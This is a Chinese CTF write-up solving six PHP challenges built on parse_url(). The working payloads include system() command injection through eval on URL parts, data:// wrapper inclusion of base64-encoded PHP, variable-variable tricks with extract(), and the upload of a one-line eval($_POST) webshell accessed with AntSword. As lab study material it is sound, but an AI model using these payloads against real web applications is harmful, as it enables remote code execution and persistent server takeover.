由于图片传不上去就只能凑合看了
第一关
题目
$data = parse_url($_GET['u']); eval($data['host']);
先看一下parse_url()这个函数:
参考博客:PHP:parse_url的用法和参数说明_one312的博客-CSDN博客v87control_2,239v2insert_chatgpt&utm_term=parse_url&spm=1018.2226.3001.4187
再分析一下这两行代码,执行url里的host,所以修改host就可以,因为/会被解析成url的一部分,所以用cd ..;绕过
payload:
?u=http://system("cd ..;cd ..;cd ..;tac flag_is_here.txt");
第二关
先看题目:
$data = parse_url($_GET['u']); include $data['host'].$data['path'];
文件包含,这里使用base64的data协议进行命令执行,因为命令部分会被解析成query部分,如下图
data://text/plain;base64,<?php phpinfo();?>
这里的命令需要base64进行加密
最终的payload:
?u=http://data:://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
data后面有两个::至于为什么本地试试就知道了
但是这样并不能执行命令,试了试需要将payload进行url编码。
最终payload:
http%3A%2F%2Fdata%3A%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCJ0YWMgL19mMWFnXzFzX2gzcmUudHh0Iik7ID8%2B
第三关
和上一关大同小异
$data = parse_url($_GET['u']); include $data['scheme'].$data['path'];
本地测试一下:
最终payload,甚至不需要url编码:
?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFfZ18xc19oM3JlIik7Pz4=
第四关
还是大同小异
附一张本地图片
最终payload:
?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s_h3re/1
第五关
并不难,就是稍微套了点
extract(parse_url($_GET['u'])); include $$$$$$host;
附上本地测试代码
<pre> <?php $u = "user://pass:query@scheme:111/path?fragment#data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="; $data = parse_url($u); extract(parse_url($u)); echo "<br>"; print_r($data); echo $host."<br>"; echo $scheme."<br>"; echo $user."<br>"; echo $pass."<br>"; echo $query."<br>"; echo $fragment."<br>"; echo $$$$$$host."<br>"; //$host -> scheme //$$host = schme -> user //$$$host = user -> pass //$$$$host = pass -> query //$$$$$host = query -> fragment //$$$$$$host = fragment -> 最终命令 ?> </pre>
附上测试结果
最终payload:
?u=user%3A%2F%2Fpass%3Aquery%40scheme%3A111%2Fpath%3Ffragment%23data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCJ0YWMgL19mMWFnXzFzX2gzcmVlIik7ID8%2B
第六关
第六关有个函数file_put_contents();
所以想到上传一句话木马
由于?会被解析成query,所以需要更换php标签,这里用的js,由于path中一定会有/,所以选择绝对路径上传,这里路径猜测默认路径
构造payload:
?u=//<script language="php"> eval($_POST['1']);/var/www/html/1.php
然后蚁剑访问1.php
根目录下拿到flag